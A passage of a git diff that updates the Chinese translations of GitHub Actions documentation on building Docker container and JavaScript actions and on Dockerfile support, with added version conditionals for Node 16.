 **.github/workflows/main.yml**
@@ -135,4 +135,4 @@ jobs:
 ```
 {% endraw %}
 
-From your repository, click the **Actions** tab, and select the latest workflow run. The output should include: "Hello Mona the Octocat", the result of the "Goodbye" script, and a random number.
+从您的仓库中，单击 **Actions（操作）**选项卡，然后选择最新的工作流程来运行。 输出应包括："Hello Mona the Octocat"、"Goodbye" 脚本的结果以及随机数字。
diff --git a/translations/zh-CN/content/actions/creating-actions/creating-a-docker-container-action.md b/translations/zh-CN/content/actions/creating-actions/creating-a-docker-container-action.md
index 049b7b0208..58f6227adc 100644
--- a/translations/zh-CN/content/actions/creating-actions/creating-a-docker-container-action.md
+++ b/translations/zh-CN/content/actions/creating-actions/creating-a-docker-container-action.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a Docker container action
-intro: 'This guide shows you the minimal steps required to build a Docker container action. '
+title: 创建 Docker 容器操作
+intro: 本指南向您展示构建 Docker 容器操作所需的最少步骤。
 redirect_from:
   - /articles/creating-a-docker-container-action
   - /github/automating-your-workflow-with-github-actions/creating-a-docker-container-action
@@ -15,48 +15,48 @@ type: tutorial
 topics:
   - Action development
   - Docker
-shortTitle: Docker container action
+shortTitle: Docker 容器操作
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## 简介
 
-In this guide, you'll learn about the basic components needed to create and use a packaged Docker container action. To focus this guide on the components needed to package the action, the functionality of the action's code is minimal. The action prints "Hello World" in the logs or "Hello [who-to-greet]" if you provide a custom name.
+在本指南中，您将了解创建和使用打包的 Docker 容器操作所需的基本组件。 本指南的重点是打包操作所需的组件，因此很少讲操作代码的功能。 操作将在日志文件中打印“Hello World”或“Hello [who-to-greet]”（如果您提供自定义名称）。
 
-Once you complete this project, you should understand how to build your own Docker container action and test it in a workflow.
+完成此项目后，您应了解如何构建自己的 Docker 容器操作和在工作流程测试该操作。
 
 {% data reusables.github-actions.self-hosted-runner-reqs-docker %}
 
 {% data reusables.github-actions.context-injection-warning %}
 
-## Prerequisites
+## 基本要求
 
-You may find it helpful to have a basic understanding of {% data variables.product.prodname_actions %} environment variables and the Docker container filesystem:
+您可能会发现它有助于基本了解 {% data variables.product.prodname_actions %} 环境变量和 Docker 容器文件系统：
 
-- "[Using environment variables](/actions/automating-your-workflow-with-github-actions/using-environment-variables)"
+- "[使用环境变量](/actions/automating-your-workflow-with-github-actions/using-environment-variables)"
 {% ifversion ghae %}
-- "[Docker container filesystem](/actions/using-github-hosted-runners/about-ae-hosted-runners#docker-container-filesystem)."
-{% else %} 
-- "[Virtual environments for {% data variables.product.prodname_dotcom %}](/actions/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners#docker-container-filesystem)"
+- “[Docker 容器文件系统](/actions/using-github-hosted-runners/about-ae-hosted-runners#docker-container-filesystem)”。
+{% else %}
+- "[{% data variables.product.prodname_dotcom %} 的虚拟环境](/actions/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners#docker-container-filesystem)"
 {% endif %}
 
-Before you begin, you'll need to create a {% data variables.product.prodname_dotcom %} repository.
+在开始之前，您需要创建 {% data variables.product.prodname_dotcom %} 仓库。
 
-1. Create a new repository on {% data variables.product.product_location %}. You can choose any repository name or use "hello-world-docker-action" like this example. For more information, see "[Create a new repository](/articles/creating-a-new-repository)."
+1. 在 {% data variables.product.product_location %} 上创建新仓库 您可以选择任何仓库名称或如本例一样使用“hello-world-docker-action”。 更多信息请参阅“[创建新仓库](/articles/creating-a-new-repository)”。
 
-1. Clone your repository to your computer. For more information, see "[Cloning a repository](/articles/cloning-a-repository)."
+1. 将仓库克隆到计算机。 更多信息请参阅“[克隆仓库](/articles/cloning-a-repository)”。
 
-1. From your terminal, change directories into your new repository.
+1. 从您的终端，将目录更改为新仓库。
 
   ```shell{:copy}
   cd hello-world-docker-action
   ```
 
-## Creating a Dockerfile
+## 创建 Dockerfile
 
-In your new `hello-world-docker-action` directory, create a new `Dockerfile` file. Make sure that your filename is capitalized correctly (use a capital `D` but not a capital `f`) if you're having issues. For more information, see "[Dockerfile support for {% data variables.product.prodname_actions %}](/actions/creating-actions/dockerfile-support-for-github-actions)."
+在新的 `hello-world-docker-action` 目录中，创建新的 `Dockerfile` 文件。 Make sure that your filename is capitalized correctly (use a capital `D` but not a capital `f`) if you're having issues. 更多信息请参阅“[{% data variables.product.prodname_actions %} 的 Dockerfile 支持](/actions/creating-actions/dockerfile-support-for-github-actions)”。
 
 **Dockerfile**
 ```Dockerfile{:copy}
@@ -70,9 +70,9 @@ COPY entrypoint.sh /entrypoint.sh
 ENTRYPOINT ["/entrypoint.sh"]
 ```
 
-## Creating an action metadata file
+## 创建操作元数据文件
 
-Create a new `action.yml` file in the `hello-world-docker-action` directory you created above. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions)."
+在上面创建的 `hello-world-docker-action` 目录中创建一个新的 `action.yml` 文件。 更多信息请参阅“[{% data variables.product.prodname_actions %} 的元数据语法](/actions/creating-actions/metadata-syntax-for-github-actions)”。
 
 {% raw %}
 **action.yml**
@@ -96,19 +96,19 @@ runs:
 ```
 {% endraw %}
 
-This metadata defines one `who-to-greet`  input and one `time` output parameter. To pass inputs to the Docker container, you must declare the input using `inputs` and pass the input in the `args` keyword.
+此元数据定义一个 `who-to-greet`  输入和一个 `time` 输出参数。 要将输入传递给 Docker 容器，您必须使用 `inputs` 声明输入并以 `args` 关键词传递输入。
 
-{% data variables.product.prodname_dotcom %} will build an image from your `Dockerfile`, and run commands in a new container using this image.
+{% data variables.product.prodname_dotcom %} 将从 `Dockerfile` 构建映像，然后使用此映像在新容器中运行命令。
 
-## Writing the action code
+## 编写操作代码
 
-You can choose any base Docker image and, therefore, any language for your action. The following shell script example uses the `who-to-greet` input variable to print "Hello [who-to-greet]" in the log file.
+您可以选择任何基础 Docker 映像，并因此为您的操作选择任何语言。 以下 shell 脚本示例使用 `who-to-greet` 输入变量在日志文件中打印 "Hello [who-to-greet]"。
 
-Next, the script gets the current time and sets it as an output variable that actions running later in a job can use. In order for {% data variables.product.prodname_dotcom %} to recognize output variables, you must use a workflow command in a specific syntax: `echo "::set-output name=<output name>::<value>"`. For more information, see "[Workflow commands for {% data variables.product.prodname_actions %}](/actions/reference/workflow-commands-for-github-actions#setting-an-output-parameter)."
+接下来，该脚本会获取当前时间并将其设置为作业中稍后运行的操作可以使用的输出变量。 为便于 {% data variables.product.prodname_dotcom %} 识别输出变量， 您必须以特定语法使用工作流程命令： `echo "::set-output name=<output name>::<value>"`。 更多信息请参阅“[{% data variables.product.prodname_actions %} 的工作流程命令](/actions/reference/workflow-commands-for-github-actions#setting-an-output-parameter)”。
 
-1. Create a new `entrypoint.sh` file in the `hello-world-docker-action` directory.
+1. 在 `hello-world-docker-action` 目录中创建一个新的 `entrypoint.sh` 文件。
 
-1. Add the following code to your `entrypoint.sh` file.
+1. 将以下代码添加到 `entrypoint.sh` 文件。
 
   **entrypoint.sh**
   ```shell{:copy}
@@ -118,26 +118,26 @@ Next, the script gets the current time and sets it as an output variable that ac
   time=$(date)
   echo "::set-output name=time::$time"
   ```
-  If `entrypoint.sh` executes without any errors, the action's status is set to `success`. You can also explicitly set exit codes in your action's code to provide an action's status. For more information, see "[Setting exit codes for actions](/actions/creating-actions/setting-exit-codes-for-actions)."
+  如果 `entrypoint.sh` 执行没有任何错误，则操作的状态设置为 `success`。 您还可以在操作的代码中显式设置退出代码以提供操作的状态。 更多信息请参阅“[设置操作的退出代码](/actions/creating-actions/setting-exit-codes-for-actions)”。
 
-1. Make your `entrypoint.sh` file executable by running the following command on your system.
+1. 通过在您的系统上运行以下命令使您的 `entrypoint.sh` 文件可执行。
 
   ```shell{:copy}
   $ chmod +x entrypoint.sh
   ```
 
-## Creating a README
+## 创建自述文件
 
-To let people know how to use your action, you can create a README file. A README is most helpful when you plan to share your action publicly, but is also a great way to remind you or your team how to use the action.
+要让人们了解如何使用您的操作，您可以创建自述文件。 自述文件在您计划公开分享操作时最有用，但也是提醒您或您的团队如何使用该操作的绝佳方式。
 
-In your `hello-world-docker-action` directory, create a `README.md` file that specifies the following information:
+在 `hello-world-docker-action` 目录中，创建指定以下信息的 `README.md` 文件：
 
-- A detailed description of what the action does.
-- Required input and output arguments.
-- Optional input and output arguments.
-- Secrets the action uses.
-- Environment variables the action uses.
-- An example of how to use your action in a workflow.
+- 操作的详细描述。
+- 必要的输入和输出变量。
+- 可选的输入和输出变量。
+- 操作使用的密码。
+- 操作使用的环境变量。
+- 如何在工作流程中使用操作的示例。
 
 **README.md**
 ```markdown{:copy}
@@ -164,11 +164,11 @@ with:
   who-to-greet: 'Mona the Octocat'
 ```
 
-## Commit, tag, and push your action to {% data variables.product.product_name %}
+## 提交、标记和推送操作到 {% data variables.product.product_name %}
 
-From your terminal, commit your `action.yml`, `entrypoint.sh`, `Dockerfile`, and `README.md` files.
+从您的终端，提交 `action.yml`、`entrypoint.sh`、`Dockerfile` 和 `README.md` 文件。
 
-It's best practice to also add a version tag for releases of your action. For more information on versioning your action, see "[About actions](/actions/automating-your-workflow-with-github-actions/about-actions#using-release-management-for-actions)."
+最佳做法是同时为操作版本添加版本标记。 有关对操作进行版本管理的详细信息，请参阅“[关于操作](/actions/automating-your-workflow-with-github-actions/about-actions#using-release-management-for-actions)”。
 
 ```shell{:copy}
 git add action.yml entrypoint.sh Dockerfile README.md
@@ -177,15 +177,15 @@ git tag -a -m "My first action release" v1
 git push --follow-tags
 ```
 
-## Testing out your action in a workflow
+## 在工作流程中测试您的操作
 
-Now you're ready to test your action out in a workflow. When an action is in a private repository, the action can only be used in workflows in the same repository. Public actions can be used by workflows in any repository.
+现在，您已准备好在工作流程中测试您的操作。 如果操作位于私有仓库，则该操作只能在同一仓库的工作流程中使用。 公共操作可供任何仓库中的工作流程使用。
 
 {% data reusables.actions.enterprise-marketplace-actions %}
 
-### Example using a public action
+### 使用公共操作的示例
 
-The following workflow code uses the completed _hello world_ action in the public [`actions/hello-world-docker-action`](https://github.com/actions/hello-world-docker-action) repository. Copy the following workflow example code into a `.github/workflows/main.yml` file, but replace the `actions/hello-world-docker-action` with your repository and action name. You can also replace the `who-to-greet` input with your name. {% ifversion fpt or ghec %}Public actions can be used even if they're not published to {% data variables.product.prodname_marketplace %}. For more information, see "[Publishing an action](/actions/creating-actions/publishing-actions-in-github-marketplace#publishing-an-action)." {% endif %}
+以下工作流程代码使用公共 [`actions/hello-world-docker-action`](https://github.com/actions/hello-world-docker-action) 仓库中完整的 _hello world_ 操作。 将以下工作流程示例代码复制到 `.github/workflows/main.yml` 文件中，但将 `actions/hello-world-docker-action` 替换为您的仓库和操作名称。 您还可以将 `who-to-greet` 输入替换为您的名称。 {% ifversion fpt or ghec %}公共操作即使未发布到 {% data variables.product.prodname_marketplace %} 也可使用。 更多信息请参阅“[发布操作](/actions/creating-actions/publishing-actions-in-github-marketplace#publishing-an-action)”。 {% endif %}
 
 {% raw %}
 **.github/workflows/main.yml**
@@ -208,9 +208,9 @@ jobs:
 ```
 {% endraw %}
 
-### Example using a private action
+### 使用私有操作的示例
 
-Copy the following example workflow code into a `.github/workflows/main.yml` file in your action's repository. You can also replace the `who-to-greet` input with your name. {% ifversion fpt or ghec %}This private action can't be published to {% data variables.product.prodname_marketplace %}, and can only be used in this repository.{% endif %}
+将以下示例工作流程代码复制到操作仓库中的 `.github/workflows/main.yml` 文件。 您还可以将 `who-to-greet` 输入替换为您的名称。 {% ifversion fpt or ghec %}此操作不能发布到 {% data variables.product.prodname_marketplace %}，并且只能在此仓库中使用。{% endif %}
 
 {% raw %}
 **.github/workflows/main.yml**
@@ -237,10 +237,10 @@ jobs:
 ```
 {% endraw %}
 
-From your repository, click the **Actions** tab, and select the latest workflow run. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log.
+从您的仓库中，单击 **Actions（操作）**选项卡，然后选择最新的工作流程来运行。 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}在 **Jobs（作业）**下或可视化图表中，单击 **A job to say hello（表示问候的作业）**。 {% endif %}您应看到 "Hello Mona the Octocat" 或您用于 `who-to-greet` 输入的姓名和时间戳在日志中打印。
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-![A screenshot of using your action in a workflow](/assets/images/help/repository/docker-action-workflow-run-updated.png)
+![在工作流中使用操作的屏幕截图](/assets/images/help/repository/docker-action-workflow-run-updated.png)
 {% else %}
-![A screenshot of using your action in a workflow](/assets/images/help/repository/docker-action-workflow-run.png)
+![在工作流中使用操作的屏幕截图](/assets/images/help/repository/docker-action-workflow-run.png)
 {% endif %}
diff --git a/translations/zh-CN/content/actions/creating-actions/creating-a-javascript-action.md b/translations/zh-CN/content/actions/creating-actions/creating-a-javascript-action.md
index 72621a7252..3952af62a5 100644
--- a/translations/zh-CN/content/actions/creating-actions/creating-a-javascript-action.md
+++ b/translations/zh-CN/content/actions/creating-actions/creating-a-javascript-action.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a JavaScript action
-intro: 'In this guide, you''ll learn how to build a JavaScript action using the actions toolkit.'
+title: 创建 JavaScript 操作
+intro: 在本指南中，您将了解如何使用操作工具包构建 JavaScript 操作。
 redirect_from:
   - /articles/creating-a-javascript-action
   - /github/automating-your-workflow-with-github-actions/creating-a-javascript-action
@@ -15,51 +15,51 @@ type: tutorial
 topics:
   - Action development
   - JavaScript
-shortTitle: JavaScript action
+shortTitle: JavaScript 操作
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## 简介
 
-In this guide, you'll learn about the basic components needed to create and use a packaged JavaScript action. To focus this guide on the components needed to package the action, the functionality of the action's code is minimal. The action prints "Hello World" in the logs or "Hello [who-to-greet]" if you provide a custom name.
+在本指南中，您将了解创建和使用打包的 JavaScript 操作所需的基本组件。 本指南的重点是打包操作所需的组件，因此很少讲操作代码的功能。 操作将在日志文件中打印“Hello World”或“Hello [who-to-greet]”（如果您提供自定义名称）。
 
-This guide uses the {% data variables.product.prodname_actions %} Toolkit Node.js module to speed up development. For more information, see the [actions/toolkit](https://github.com/actions/toolkit) repository.
+本指南使用 {% data variables.product.prodname_actions %} 工具包 Node.js 模块来加快开发速度。 更多信息请参阅 [actions/toolkit](https://github.com/actions/toolkit) 仓库。
 
-Once you complete this project, you should understand how to build your own JavaScript action and test it in a workflow.
+完成此项目后，您应了解如何构建自己的 JavaScript 操作和在工作流程测试该操作。
 
 {% data reusables.github-actions.pure-javascript %}
 
 {% data reusables.github-actions.context-injection-warning %}
 
-## Prerequisites
+## 基本要求
 
-Before you begin, you'll need to download Node.js and create a public {% data variables.product.prodname_dotcom %} repository.
+在开始之前，您需要下载 Node.js 并创建公共 {% data variables.product.prodname_dotcom %} 仓库。
 
-1. Download and install Node.js 12.x, which includes npm.
+1. Download and install Node.js {% ifversion fpt or ghes > 3.3 or ghae-issue-5504 or ghec %}16.x{% else %}12.x{% endif %}, which includes npm.
 
-  https://nodejs.org/en/download/current/
+  {% ifversion fpt or ghes > 3.3 or ghae-issue-5504 or ghec %}https://nodejs.org/en/download/{% else %}https://nodejs.org/en/download/releases/{% endif %}
 
-1. Create a new public repository on {% data variables.product.product_location %} and call it "hello-world-javascript-action". For more information, see "[Create a new repository](/articles/creating-a-new-repository)."
+1. 在 {% data variables.product.product_location %} 上创建一个新的公共仓库，并将其称为 "hello-world-javascript-action"。 更多信息请参阅“[创建新仓库](/articles/creating-a-new-repository)”。
 
-1. Clone your repository to your computer. For more information, see "[Cloning a repository](/articles/cloning-a-repository)."
+1. 将仓库克隆到计算机。 更多信息请参阅“[克隆仓库](/articles/cloning-a-repository)”。
 
-1. From your terminal, change directories into your new repository.
+1. 从您的终端，将目录更改为新仓库。
 
   ```shell{:copy}
   cd hello-world-javascript-action
   ```
 
-1. From your terminal, initialize the directory with npm to generate a `package.json` file.
+1. 从您的终端，使用 npm 初始化目录以生成 `package.json` 文件。
 
   ```shell{:copy}
   npm init -y
   ```
 
-## Creating an action metadata file
+## 创建操作元数据文件
 
-Create a new file named `action.yml` in the `hello-world-javascript-action` directory with the following example code. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions)."
+使用以下示例代码在 `hello-world-javascript-action` 目录中创建新文件 `action.yml`。 更多信息请参阅“[{% data variables.product.prodname_actions %} 的元数据语法](/actions/creating-actions/metadata-syntax-for-github-actions)”。
 
 ```yaml{:copy}
 name: 'Hello World'
@@ -73,38 +73,38 @@ outputs:
   time: # id of output
     description: 'The time we greeted you'
 runs:
-  using: 'node12'
+  using: {% ifversion fpt or ghes > 3.3 or ghae-issue-5504 or ghec %}'node16'{% else %}'node12'{% endif %}
   main: 'index.js'
 ```
 
-This file defines the `who-to-greet` input and `time` output. It also tells the action runner how to start running this JavaScript action.
+此文件定义 `who-to-greet` 输入和 `time` 输出。 它还告知操作运行程序如何开始运行此 JavaScript 操作。
 
-## Adding actions toolkit packages
+## 添加操作工具包
 
-The actions toolkit is a collection of Node.js packages that allow you to quickly build JavaScript actions with more consistency.
+操作工具包是 Node.js 包的集合，可让您以更高的一致性快速构建 JavaScript 操作。
 
-The toolkit [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) package provides an interface to the workflow commands, input and output variables, exit statuses, and debug messages.
+工具包 [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) 包提供一个接口，用于工作流程命令、输入和输出变量、退出状态以及调试消息。
 
-The toolkit also offers a [`@actions/github`](https://github.com/actions/toolkit/tree/main/packages/github) package that returns an authenticated Octokit REST client and access to GitHub Actions contexts.
+工具包还提供 [`@actions/github`](https://github.com/actions/toolkit/tree/main/packages/github) 包，用于返回经验证的 Octokit REST 客户端和访问 GitHub Actions 上下文。
 
-The toolkit offers more than the `core` and `github` packages. For more information, see the [actions/toolkit](https://github.com/actions/toolkit) repository.
+工具包不止提供 `core` 和 `github` 包。 更多信息请参阅 [actions/toolkit](https://github.com/actions/toolkit) 仓库。
 
-At your terminal, install the actions toolkit `core` and `github` packages.
+在您的终端，安装操作工具包 `core` 和 `github` 包。
 
 ```shell{:copy}
 npm install @actions/core
 npm install @actions/github
 ```
 
-Now you should see a `node_modules` directory with the modules you just installed and a `package-lock.json` file with the installed module dependencies and the versions of each installed module.
+现在，您应看到 `node_modules` 目录（包含您刚安装的模块）和 `package-lock.json` 文件（包含已安装模块的依赖项和每个已安装模块的版本）。
 
-## Writing the action code
+## 编写操作代码
 
-This action uses the toolkit to get the `who-to-greet` input variable required in the action's metadata file and prints "Hello [who-to-greet]" in a debug message in the log. Next, the script gets the current time and sets it as an output variable that actions running later in a job can use.
+此操作使用工具包获取操作元数据文件中所需的 `who-to-greet` 输入变量，然后在日志的调试消息中打印 "Hello [who-to-greet]"。 接下来，该脚本会获取当前时间并将其设置为作业中稍后运行的操作可以使用的输出变量。
 
-GitHub Actions provide context information about the webhook event, Git refs, workflow, action, and the person who triggered the workflow. To access the context information, you can use the `github` package. The action you'll write will print the webhook event payload to the log.
+GitHub Actions 提供有关 web 挂钩实践、Git 引用、工作流程、操作和触发工作流程的人员的上下文信息。 要访问上下文信息，您可以使用 `github` 包。 您将编写的操作将打印 web 挂钩事件有效负载日志。
 
-Add a new file called `index.js`, with the following code.
+使用以下代码添加名为 `index.js` 的新文件。
 
 {% raw %}
 ```javascript{:copy}
@@ -126,20 +126,20 @@ try {
 ```
 {% endraw %}
 
-If an error is thrown in the above `index.js` example, `core.setFailed(error.message);` uses the actions toolkit [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) package to log a message and set a failing exit code. For more information, see "[Setting exit codes for actions](/actions/creating-actions/setting-exit-codes-for-actions)."
+如果在上述 `index.js` 示例中出现错误 `core.setFailed(error.message);`，请使用操作工具包 [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) 包记录消息并设置失败退出代码。 更多信息请参阅“[设置操作的退出代码](/actions/creating-actions/setting-exit-codes-for-actions)”。
 
-## Creating a README
+## 创建自述文件
 
-To let people know how to use your action, you can create a README file. A README is most helpful when you plan to share your action publicly, but is also a great way to remind you or your team how to use the action.
+要让人们了解如何使用您的操作，您可以创建自述文件。 自述文件在您计划公开分享操作时最有用，但也是提醒您或您的团队如何使用该操作的绝佳方式。
 
-In your `hello-world-javascript-action` directory, create a `README.md` file that specifies the following information:
+在 `hello-world-javascript-action` 目录中，创建指定以下信息的 `README.md` 文件：
 
-- A detailed description of what the action does.
-- Required input and output arguments.
-- Optional input and output arguments.
-- Secrets the action uses.
-- Environment variables the action uses.
-- An example of how to use your action in a workflow.
+- 操作的详细描述。
+- 必要的输入和输出变量。
+- 可选的输入和输出变量。
+- 操作使用的密码。
+- 操作使用的环境变量。
+- 如何在工作流程中使用操作的示例。
 
 ```markdown
 # Hello world javascript action
@@ -165,13 +165,13 @@ with:
   who-to-greet: 'Mona the Octocat'
 ```
 
-## Commit, tag, and push your action to GitHub
+## 提交、标记和推送操作到 GitHub
 
-{% data variables.product.product_name %} downloads each action run in a workflow during runtime and executes it as a complete package of code before you can use workflow commands like `run` to interact with the runner machine. This means you must include any package dependencies required to run the JavaScript code. You'll need to check in the toolkit `core` and `github` packages to your action's repository.
+{% data variables.product.product_name %} 下载运行时在工作流程中运行的每个操作，并将其作为完整的代码包执行，然后才能使用 `run` 等工作流程命令与运行器机器交互。 这意味着您必须包含运行 JavaScript 代码所需的所有包依赖项。 您需要将工具包 `core` 和 `github` 包检入到操作的仓库中。
 
-From your terminal, commit your `action.yml`, `index.js`, `node_modules`, `package.json`, `package-lock.json`, and `README.md` files. If you added a `.gitignore` file that lists `node_modules`, you'll need to remove that line to commit the `node_modules` directory.
+从您的终端，提交 `action.yml`、`index.js`、`node_modules`、`package.json`、`package-lock.json` 和 `README.md` 文件。 如果您添加了列有 `node_modules` 的 `.gitignore` 文件，则需要删除该行才能提交 `node_modules` 目录。
 
-It's best practice to also add a version tag for releases of your action. For more information on versioning your action, see "[About actions](/actions/automating-your-workflow-with-github-actions/about-actions#using-release-management-for-actions)."
+最佳做法是同时为操作版本添加版本标记。 有关对操作进行版本管理的详细信息，请参阅“[关于操作](/actions/automating-your-workflow-with-github-actions/about-actions#using-release-management-for-actions)”。
 
 ```shell{:copy}
 git add action.yml index.js node_modules/* package.json package-lock.json README.md
@@ -180,24 +180,19 @@ git tag -a -m "My first action release" v1.1
 git push --follow-tags
 ```
 
-Checking in your `node_modules` directory can cause problems. As an alternative, you can use a tool called [`@vercel/ncc`](https://github.com/vercel/ncc) to compile your code and modules into one file used for distribution.
+检入 `node_modules` 目录可能会导致问题。 作为替代方法，您可以使用名为 [`@vercel/ncc`](https://github.com/vercel/ncc) 的工具将您的代码和模块编译到一个用于分发的文件中。
 
-1. Install `vercel/ncc` by running this command in your terminal.
-  `npm i -g @vercel/ncc`
+1. 通过在您的终端运行此命令来安装 `vercel/ncc`。 `npm i -g @vercel/ncc`
 
-1. Compile your `index.js` file.
-  `ncc build index.js --license licenses.txt`
+1. 编译您的 `index.js` 文件。 `ncc build index.js --license licenses.txt`
 
-  You'll see a new `dist/index.js` file with your code and the compiled modules.
-  You will also see an accompanying `dist/licenses.txt` file containing all the licenses of the `node_modules` you are using.
+  您会看到一个新的 `dist/index.js` 文件，其中包含您的代码和编译的模块。 您还将看到随附的 `dist/licenses.txt` 文件，其中包含所用 `node_modules` 的所有许可证。
 
-1. Change the `main` keyword in your `action.yml` file to use the new `dist/index.js` file.
- `main: 'dist/index.js'`
+1. 在 `action.yml` 文件中更改 `main` 关键字以使用新的 `dist/index.js` 文件。 `main: 'dist/index.js'`
 
-1. If you already checked in your `node_modules` directory, remove it.
-  `rm -rf node_modules/*`
+1. 如果已检入您的 `node_modules` 目录，请删除它。 `rm -rf node_modules/*`
 
-1. From your terminal, commit the updates to your `action.yml`, `dist/index.js`, and `node_modules` files.
+1. 从您的终端，将更新提交到 `action.yml`、`dist/index.js` 和 `node_modules` 文件。
 ```shell
 git add action.yml dist/index.js node_modules/*
 git commit -m "Use vercel/ncc"
@@ -205,17 +200,17 @@ git tag -a -m "My first action release" v1.1
 git push --follow-tags
 ```
 
-## Testing out your action in a workflow
+## 在工作流程中测试您的操作
 
-Now you're ready to test your action out in a workflow. When an action is in a private repository, the action can only be used in workflows in the same repository. Public actions can be used by workflows in any repository.
+现在，您已准备好在工作流程中测试您的操作。 如果操作位于私有仓库，则该操作只能在同一仓库的工作流程中使用。 公共操作可供任何仓库中的工作流程使用。
 
 {% data reusables.actions.enterprise-marketplace-actions %}
 
-### Example using a public action
+### 使用公共操作的示例
 
-This example demonstrates how your new public action can be run from within an external repository.
+此示例显示您的新公共操作如何从外部仓库中运行。
 
-Copy the following YAML into a new file at `.github/workflows/main.yml`, and update the `uses: octocat/hello-world-javascript-action@v1.1` line with your username and the name of the public repository you created above. You can also replace the `who-to-greet` input with your name.
+将以下 YAML 复制到 `.github/workflows/main.yml` 上的新文件中，并使用您的用户名和上面创建的公共仓库名称更新 `uses: octocat/hello-world-javascript-action@v1.1` 行。 您还可以将 `who-to-greet` 输入替换为您的名称。
 
 {% raw %}
 ```yaml{:copy}
@@ -237,11 +232,11 @@ jobs:
 ```
 {% endraw %}
 
-When this workflow is triggered, the runner will download the `hello-world-javascript-action` action from your public repository and then execute it.
+当触发此工作流程时，运行器将从您的公共仓库下载 `hello-world-javascript-action` 操作，然后执行它。
 
-### Example using a private action
+### 使用私有操作的示例
 
-Copy the workflow code into a `.github/workflows/main.yml` file in your action's repository. You can also replace the `who-to-greet` input with your name.
+将工作流程代码复制到操作仓库中的 `.github/workflows/main.yml` 文件。 您还可以将 `who-to-greet` 输入替换为您的名称。
 
 {% raw %}
 **.github/workflows/main.yml**
@@ -268,12 +263,12 @@ jobs:
 ```
 {% endraw %}
 
-From your repository, click the **Actions** tab, and select the latest workflow run. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log.
+从您的仓库中，单击 **Actions（操作）**选项卡，然后选择最新的工作流程来运行。 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}在 **Jobs（作业）**下或可视化图表中，单击 **A job to say hello（表示问候的作业）**。 {% endif %}您应看到 "Hello Mona the Octocat" 或您用于 `who-to-greet` 输入的姓名和时间戳在日志中打印。
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-![A screenshot of using your action in a workflow](/assets/images/help/repository/javascript-action-workflow-run-updated-2.png)
+![在工作流中使用操作的屏幕截图](/assets/images/help/repository/javascript-action-workflow-run-updated-2.png)
 {% elsif ghes %}
-![A screenshot of using your action in a workflow](/assets/images/help/repository/javascript-action-workflow-run-updated.png)
+![在工作流中使用操作的屏幕截图](/assets/images/help/repository/javascript-action-workflow-run-updated.png)
 {% else %}
-![A screenshot of using your action in a workflow](/assets/images/help/repository/javascript-action-workflow-run.png)
+![在工作流中使用操作的屏幕截图](/assets/images/help/repository/javascript-action-workflow-run.png)
 {% endif %}
diff --git a/translations/zh-CN/content/actions/creating-actions/dockerfile-support-for-github-actions.md b/translations/zh-CN/content/actions/creating-actions/dockerfile-support-for-github-actions.md
index 58e2bf325b..7241c9833a 100644
--- a/translations/zh-CN/content/actions/creating-actions/dockerfile-support-for-github-actions.md
+++ b/translations/zh-CN/content/actions/creating-actions/dockerfile-support-for-github-actions.md
@@ -1,7 +1,7 @@
 ---
-title: Dockerfile support for GitHub Actions
-shortTitle: Dockerfile support
-intro: 'When creating a `Dockerfile` for a Docker container action, you should be aware of how some Docker instructions interact with GitHub Actions and an action''s metadata file.'
+title: Dockerfile 对 GitHub Actions 的支持
+shortTitle: Dockerfile 支持
+intro: 为 Docker 容器创建 `Dockerfile` 时， 您应该知道一些 Docker 指令如何与 GitHub Actions 及操作的元数据文件交互。
 redirect_from:
   - /actions/building-actions/dockerfile-support-for-github-actions
 versions:
@@ -15,53 +15,53 @@ type: reference
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About Dockerfile instructions
+## 关于 Dockerfile 指令
 
-A `Dockerfile` contains instructions and arguments that define the contents and startup behavior of a Docker container. For more information about the instructions Docker supports, see "[Dockerfile reference](https://docs.docker.com/engine/reference/builder/)" in the Docker documentation.
+`Dockerfile` 包含定义 Docker 容器内容和启动行为的指令和参数。 有关 Docker 支持的指令的更多信息，请参阅 Docker 文档中的“[Dockerfile 引用](https://docs.docker.com/engine/reference/builder/)”。
 
-## Dockerfile instructions and overrides
+## Dockerfile 指令和覆盖
 
-Some Docker instructions interact with GitHub Actions, and an action's metadata file can override some Docker instructions. Ensure that you are familiar with how your Dockerfile interacts with {% data variables.product.prodname_actions %} to prevent any unexpected behavior.
+某些 Docker 指令与 GitHub Actions 交互，操作的元数据文件可以覆盖某些 Docker 指令。 确保您熟悉 Dockerfile 如何与 {% data variables.product.prodname_actions %} 交互以防止任何意外行为。
 
 ### USER
 
-Docker actions must be run by the default Docker user (root). Do not use the `USER` instruction in your `Dockerfile`, because you won't be able to access the `GITHUB_WORKSPACE`. For more information, see "[Using environment variables](/actions/configuring-and-managing-workflows/using-environment-variables)" and [USER reference](https://docs.docker.com/engine/reference/builder/#user) in the Docker documentation.
